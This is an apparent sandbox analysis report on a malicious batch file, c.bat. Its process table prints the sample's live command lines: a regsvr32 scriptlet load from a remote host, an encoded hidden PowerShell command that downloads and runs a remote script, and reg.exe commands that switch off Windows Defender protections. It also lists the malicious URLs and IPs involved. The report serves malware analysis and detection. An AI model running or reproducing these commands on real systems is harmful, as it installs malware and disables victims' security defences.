| File name: | c.bat |
| Full analysis: | https://app.any.run/tasks/2a9e1eb6-205d-47a2-a5a5-be4f04b77564 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | January 11, 2019, 03:56:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with no line terminators |
| MD5: | 72A8B684CDA2A5E4BA568224F27CF0F5 |
| SHA1: | 3C41387E1B21F7E8083DCD9A26D10E095AA2D3E7 |
| SHA256: | 71840EF23304366D11B1EB2D71E8BCA416CF6F200A932F119C87B993F2FD495D |
| SSDEEP: | 3:pLACpGElFaeHiLQRAQGKIfmjxQ/A+L/J:pLXGdGiUlIf9/A+DJ |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3868)
SQUIBLYDOO was detected
- regsvr32.exe (PID: 2492)
SUSPICIOUS
Starts CMD.EXE for commands execution
- regsvr32.exe (PID: 2492)
- cmd.exe (PID: 3512)
Uses REG.EXE to modify Windows registry
- powershell.exe (PID: 2288)
Creates files in the user directory
- powershell.exe (PID: 2288)
Application launched itself
- cmd.exe (PID: 3512)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
41
Monitored processes
9
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1840 | "C:\Windows\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f | C:\Windows\system32\reg.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2252 | "C:\Windows\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f | C:\Windows\system32\reg.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2288 | powershell.exe -nop -noni -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMwA0AC4AMgAxADcALgAxADMAOQAvAHYAZQByAGMAaABlAGMAawAuAHAAcwAxACcAKQApAAoA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2292 | cmd.exe /c regsvr32 /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2492 | regsvr32 /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll | C:\Windows\system32\regsvr32.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft(C) Register Server Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3300 | "C:\Windows\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f | C:\Windows\system32\reg.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3512 | cmd /c ""C:\Users\admin\AppData\Local\Temp\c.bat" " | C:\Windows\system32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3868 | "C:\Windows\System32\cmd.exe" /c powershell.exe -nop -noni -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMwA0AC4AMgAxADcALgAxADMAOQAvAHYAZQByAGMAaABlAGMAawAuAHAAcwAxACcAKQApAAoA | C:\Windows\System32\cmd.exe | — | regsvr32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3884 | "C:\Windows\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f | C:\Windows\system32\reg.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
392
Read events
307
Write events
85
Delete events
0
Modification events
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2492) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
0
Suspicious files
2
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2288 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\43L4T187CQFCZK4DRI5W.temp | — | |
MD5:— | SHA256:— | |||
| 2492 | regsvr32.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\antivirus[1].php | xml | |
MD5:— | SHA256:— | |||
| 2288 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19ec3b.TMP | binary | |
MD5:— | SHA256:— | |||
| 2288 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2288 | powershell.exe | GET | — | 111.90.145.52:443 | http://update.7h4uk.com:443/antitrojan.ps1 | MY | — | — | malicious |
2492 | regsvr32.exe | GET | 200 | 111.90.145.52:443 | http://update.7h4uk.com:443/antivirus.php | MY | xml | 651 b | malicious |
2288 | powershell.exe | GET | 200 | 185.234.217.139:80 | http://185.234.217.139/vercheck.ps1 | unknown | text | 10.5 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2492 | regsvr32.exe | 111.90.145.52:443 | update.7h4uk.com | Shinjiru Technology Sdn Bhd | MY | malicious |
2288 | powershell.exe | 185.234.217.139:80 | — | — | — | malicious |
2288 | powershell.exe | 111.90.145.52:443 | update.7h4uk.com | Shinjiru Technology Sdn Bhd | MY | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
update.7h4uk.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2492 | regsvr32.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Malicious Windows SCT Download MSXMLHTTP AX |
2492 | regsvr32.exe | A Network Trojan was detected | MALWARE [PTsecurity] Squiblydoo Scriptlet |
2492 | regsvr32.exe | Misc activity | SUSPICIOUS [PTsecurity] Encoded PowerShell script (New-Object) |
2288 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Powershell downloading stage during Zyklon delivery |
2288 | powershell.exe | A Network Trojan was detected | MINER [PTsecurity] ThreatMiner Powershell obfuscation script possible |
2288 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious behavior - PowerShell script downloading from non-standard port |
2 ETPRO signatures available at the full report